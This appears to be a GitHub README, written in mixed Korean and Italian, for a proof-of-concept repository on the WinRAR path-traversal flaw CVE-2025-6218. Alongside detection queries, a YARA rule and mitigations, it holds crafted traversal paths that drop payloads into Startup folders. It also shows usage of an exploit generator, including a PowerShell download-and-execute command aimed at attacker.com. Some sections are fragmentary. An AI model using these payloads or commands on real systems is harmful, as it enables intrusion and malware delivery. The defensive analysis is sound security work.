
CVE-2025-6218에 대한 종합 분석 및 개념 증명 - 버전 7.11 및 이전 버전에 영향을 미치는 WinRAR 경로 탐색 RCE 취약점
⚠️ 심각한 취약점 - 활성 익스플로잇 확인됨
CVE-2025-6218은 WinRAR의 path traversal 취약점으로, 임의 코드 실행을 허용합니다. 현재 APT 그룹(GOFFEE, Bitter(APT-C-08), Gamaredon)에 의해 악용되고 있습니다.
CVE-2025-6218은 Windows용 WinRAR에서 path traversal 취약점으로, 공격자가 임의 코드를 실행할 수 있게 합니다.
공격자는 다음을 수행할 수 있습니다:
WinRAR은 특수하게 조작된 .rar 아카이브 내 파일 경로를 올바르게 검증하지 않습니다. 사용자가 변조된 아카이브를 추출하면 path traversal 시퀀스(../ 또는 ..\\)를 사용하여 의도된 추출 폴더 외부의 임의 경로에 파일이 기록될 수 있습니다.
// Pseudocodice - WinRAR v7.11 (VULNERABILE) void extract_file(rar_entry *entry, char *dest_dir) { char final_path[MAX_PATH];
strcpy(final_path, dest_dir); // "C:\\Temp\\"
strcat(final_path, entry->filename); // + "..\\..\\..\\Windows\\System32\\malware.exe"
// ❌ ERRORE: Nessuna validazione del path traversal!
// final_path = "C:\\Temp\\..\\..\\..\\Windows\\System32\\malware.exe"
// Risolto come: "C:\\Windows\\System32\\malware.exe" ← EXPLOIT!
create_file(final_path); // File creato in directory non intesa
}
### v7.11에서 누락된 보호 기능
- ❌ 파일이 `dest_dir` 내에 남아 있는지 확인하지 않음
- ❌ `..` 또는 `.` 시퀀스에 대한 필터 없음
- ❌ 경로 정규화 없음
- ❌ 허용된 디렉터리 화이트리스트 없음
- ❌ 컨테이너 유효성 검사 없음
### v7.12에서의 수정```c
// WinRAR v7.12 (PATCHED)
bool is_path_contained(char *path, char *base_dir) {
char canonical[MAX_PATH], canonical_base[MAX_PATH];
// Normalizza entrambi i percorsi
GetFullPathName(path, MAX_PATH, canonical, NULL);
GetFullPathName(base_dir, MAX_PATH, canonical_base, NULL);
// Verifica contenimento
if (strncmp(canonical, canonical_base, strlen(canonical_base)) != 0) {
return false; // Path esce dalla directory base
}
return true;
}
void extract_file_safe(rar_entry *entry, char *dest_dir) {
char final_path[MAX_PATH];
strcpy(final_path, dest_dir);
strcat(final_path, entry->filename);
// ✅ FIX: Verifica che il file rimane dentro dest_dir
if (!is_path_contained(final_path, dest_dir)) {
skip_extraction(); // Rifiuta estrazione
log_error("Path traversal detected!");
return;
}
create_file(final_path); // Adesso sicuro
}
Cartella di Estrazione: C:\Temp\Extract
Path nel RAR (craft): ..\..\..\..\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat
Risoluzione Path: C:\Temp\Extract\.. = C:\Temp\ C:\Temp\.. = C:\ C:\.. = C:\ (non può andare oltre)
= C:\Users\\AppData\Roaming\...\Startup\payload.bat ✓
### 공격 흐름 다이어그램```
┌─────────────────────────────────────────────┐
│ 1. Attaccante crea RAR con path craft │
│ es: ..\\..\\..\\Startup\\malware.bat │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 2. Distribuzione via spear-phishing │
│ Email mirata con allegato RAR │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 3. Vittima estrae archivio con WinRAR │
│ (versione ≤ 7.11) │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 4. WinRAR non valida path traversal │
│ File estratto in Startup folder │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 5. Al boot: payload eseguito │
│ RAT stabilisce C2 connection │
└─────────────────────────────────────────────┘
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
wmic datafile where name="C:\\Program Files\\WinRAR\\WinRAR.exe" get Version
---
## 🌍 공격 시나리오
### 시나리오 1: Bitter/APT-C-08 Spear-Phishing (활성 확인됨)
**목표**: 정부, 군사 조직, 전략 기관```
Email Phishing:
From: [email protected]
Subject: "Provision of Information for Sectoral for AJK.rar"
Attachment: Provision_of_Information.rar
Contenuto Archive:
├── Document.docx (esca legittima - report convincente)
└── ..\\..\\..\\..\\Users\\User\\AppData\\Roaming\\Microsoft\\Office\\STARTUP\\Template.dotm
(macro malato nascosto)
Esecuzione:
1. Vittima estrae RAR
2. WinRAR non valida path → Template.dotm finisce in Office STARTUP
3. Prossimo avvio Word → Macro eseguita automaticamente
4. PowerShell downloader attivato
5. C# Trojan scaricato: WmRAT, MiyaRAT, ZxxZ
6. C2 Server: johnfashionaccess.com
7. Capabilities:
- Keylogging
- Screenshot capture
- RDP credential stealing
- File exfiltration
- Lateral movement
목표: 러시아 정부 기관``` RAR specializzato: ├── run.bat (path: ..\..\..\..\Windows\Startup\run.bat) └── legitimate_document.pdf (esca)
Attack Chain:
### 시나리오 3: Ransomware 전달```
RAR Weaponized:
└── locker.exe (path: ..\\..\\..\\Startup\\locker.exe)
Infezione:
1. Estrazione RAR
2. locker.exe → Startup folder
3. Sistema reboota (naturale o forzato)
4. locker.exe eseguito con diritti user
5. File system encryption
6. Ransom note displayed
7. Bitcoin payment richiesto
✅ Windows VM (10, 11, Server) ✅ WinRAR versione ≤ 7.11 installato ✅ Network isolato (no internet - safety first!) ✅ Snapshot VM per rollback ✅ Admin access per testing
### 실험실 환경 설정```powershell
# 1. Crea VM Windows pulita
# 2. Installa WinRAR 7.11
winget install RARLab.WinRAR --version 7.11
# 3. Verifica versione
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Output: 7.11.0.0 ✓
# 4. Disabilita network
Set-NetAdapter -Name "Ethernet" -Enabled $false
# 5. Crea snapshot
# VM → Snapshot → "Clean WinRAR 7.11 Vulnerable"
git clone https://github.com/Chrxstxqn/CVE-2025-6218-WinRAR-RCE-POC.git cd CVE-2025-6218-WinRAR-RCE-POC
python3 exploit/generate_rar.py
--target startup
--payload calc.exe
--output exploit_poc.zip
ls "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
shutdown /r /t 0
### 익스플로잇 생성기 사용법```bash
# Genera payload per Startup folder
python3 exploit/generate_rar.py --target startup --payload shell.bat
# Genera payload per System32 (richiede admin)
python3 exploit/generate_rar.py --target system32 --payload malware.exe
# Genera con custom batch command
python3 exploit/generate_rar.py \
--target startup \
--payload dropper.bat \
--batch "powershell -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
# Targets disponibili:
# - startup : Auto-execution at login
# - system32 : System directory (needs admin)
# - appdata : User AppData
# - documents : User Documents
# - temp : User Temp folder
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Recurse -File | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
Get-ChildItem "$env:APPDATA\Microsoft\Office" -Include ".dotm",".xlsm" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
Get-WinEvent -LogName Security -FilterXPath "*[EventData[Data[@Name='ObjectName'] and contains(., 'System32')]]" -MaxEvents 100
### 프로세스 실행```powershell
# Verifica processi in esecuzione da Startup
Get-WmiObject Win32_Process | Where-Object {
$_.ExecutablePath -like "*Startup*"
} | Select-Object Name, ExecutablePath, ProcessId
# Monitor WinRAR extraction con Sysmon (Event ID 11: File Created)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]] and *[EventData[Data[@Name='Image'] and contains(., 'WinRAR')]]" -MaxEvents 50
johnfashionaccess.com (Bitter/APT-C-08) [additional IOCs from CISA KEV]
### 이메일 지표```
Subject patterns:
- "Provision of Information"
- "Sectoral for AJK"
- Government-related keywords
Senders:
- [email protected]
- Free email providers (Gmail, Outlook)
Attachments:
- .RAR files da external senders
- Legitimate-looking document names
rule CVE_2025_6218_WinRAR_PathTraversal { meta: description = "Detect RAR archives with path traversal sequences" author = "Christian Schito" date = "2025-12-15" cve = "CVE-2025-6218"
strings:
$rar_sig = { 52 61 72 21 } // "Rar!" signature
$traversal1 = "..\\" ascii wide
$traversal2 = "../" ascii wide
$startup = "Startup" ascii wide nocase
$system32 = "System32" ascii wide nocase
condition:
$rar_sig at 0 and
(#traversal1 > 3 or #traversal2 > 3) and
($startup or $system32)
}
---
## 🛡️ 완화 조치
### 🔴 즉시 패치 (치명적)
-```powershell
# Verifica versione attuale
$version = (Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
if ($version -le "7.11.0.0") {
Write-Host "🔴 VULNERABILE! Update richiesto!" -ForegroundColor Red
} else {
Write-Host "🟢 SAFE - Versione $version patched" -ForegroundColor Green
}
# Download WinRAR 7.12+
# https://www.rarlab.com/rar_add.htm
# Deploy aziendale (SCCM/Intune)
msiexec /i WinRAR-x64-721.msi /quiet /norestart
# Verifica post-update
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Dovrebbe essere ≥ 7.12.0.0
✅ Blocca .RAR da external domains ✅ Quarantine archives per deep scanning ✅ Content disarm and reconstruction (CDR) ✅ Sandboxing di allegati sospetti ✅ YARA rules per detection
#### 엔드포인트 보호```powershell
# Scheduled task per monitoring
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-File C:\Scripts\monitor_startup.ps1'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "CVE-2025-6218 Monitor" -Description "Monitor Startup folder for suspicious files"
# Sysmon configuration
# Monitor Event ID 11 (File Created) in sensitive directories
✅ Separate admin workstations ✅ Block egress to known C2 domains ✅ Monitor for suspicious DNS queries ✅ Implement zero-trust network access
#### 애플리케이션 화이트리스트```powershell
# AppLocker policy - Block execution from APPDATA\Startup
$rule = New-AppLockerPolicy -RuleType Path -Path "$env:APPDATA\*\Startup\*" -Action Deny -User Everyone
Set-AppLockerPolicy -PolicyObject $rule
✅ Non aprire archivi da email unknown ✅ Verify sender identity prima di aprire attachments ✅ Report suspicious emails al security team ✅ Keep software up-to-date ✅ Use sandboxed environment per file sospetti
---
## 📅 타임라인
| 날짜 | 이벤트 |
|------|--------|
| **알 수 없음** | 취약점 발견 |
| **2025년 6월** | RARLAB, WinRAR 7.12 패치 릴리스 |
| **2025년 7월** | GOFFEE (Paper Werewolf) 적극적 익스플로잇 시작 |
| **2025년 8월** | BI.ZONE, 상세 기술 분석 발표 |
| **2025년 9월** | Bitter/APT-C-08, 스피어 피싱 캠페인 확인 |
| **2025년 11월** | Gamaredon, 우크라이나 대상 익스플로잇 확인 |
| **2025년 12월 9일** | 🔴 **CISA, CVE-2025-6218을 KEV 카탈로그에 추가** |
| **2025년 12월 30일** | 미국 연방 기관 대상 패치 적용 마감일 |
---
## 📁 저장소 구조```
CVE-2025-6218-WinRAR-RCE-POC/
├── README.md # Questa guida completa
├── LICENSE # MIT License
├── docs/
│ ├── TECHNICAL_ANALYSIS.md # Deep dive tecnico
│ ├── DETECTION.md # Forensics & IOC
│ ├── IOC_INDICATORS.md # Indicators of Compromise
│ └── SETUP.md # Lab setup guide
├── exploit/
│ ├── generate_rar.py # POC exploit generator (Python)
│ ├── CVE-2025-6218.bat # Batch script POC
│ └── README.md # Exploit usage guide
├── tools/
│ ├── detect.ps1 # Detection PowerShell script
│ ├── check_version.ps1 # Version checker
│ └── monitor_startup.ps1 # Startup folder monitor
└── samples/
├── yara_rules.yar # YARA detection rules
└── sysmon_config.xml # Sysmon configuration
⚠️ 교육 및 연구 목적으로만 사용
이 저장소는 교육 목적 및 공인된 보안 연구를 위해서만 제공됩니다.
L'autore NON è responsabile per:
Usando questo repository, accetti di:
**컴퓨터 시스템에 대한 무단 접근은 불법입니다. 경고하셨습니다.**
---
## 📄 License
MIT License - 자세한 내용은 [LICENSE](https://github.com/chrxstxqn/cve-2025-6218-winrar-rce-poc/blob/HEAD/LICENSE)를 참조하세요.
---
## 🤝 기여
기여를 환영합니다! 다음이 있다면:
- 🐛 버그 리포트
- 💡 기능 요청
- 📝 문서 개선
- 🔬 추가 IOCs
**Issue**나 **Pull Request**를 열어주세요!
---
## 📞 연락처
**저자**: Christian Schito
**GitHub**: [@Chrxstxqn](https://github.com/Chrxstxqn)
**최종 업데이트**: 2025년 12월 15일
**상태**: 🔴 활성 연구 - 익스플로잇 확인됨
---
<div align="center">
**⭐ 이 저장소가 유용하다면 별표를 눌러주세요! ⭐**
**🔒 안전을 유지하세요. 지금 패치하세요. 🔒**
</div>
| 항목 | 세부 사항 |
|---|
| CVSS 점수 | 7.8 (High) |
| 취약한 버전 | WinRAR ≤ 7.11 (Windows 전용) |
| 플랫폼 | Windows 10, 11, Server |
| 영향받는 사용자 | 약 5억 명 |
| 패치 버전 | WinRAR 7.12 (2025년 6월) |
| 상태 | 🔴 활성 악용 중 |
| CISA KEV | 2025년 12월 9일 추가 |
| 버전 | 상태 | 참고 |
|---|
| ≤ 7.10 | 🔴 취약 | 모든 익스플로잇이 작동함 |
| 7.11 | 🔴 취약 | 마지막 취약 버전 |
| 7.12 Beta 1+ | 🟢 패치됨 | 경로 탐색 수정 |
| 7.12+ | 🟢 패치됨 | 수정된 안정 릴리스 |
| UNIX / Android | ✅ 영향 없음 | Windows 이외 버전은 영향을 받지 않음 |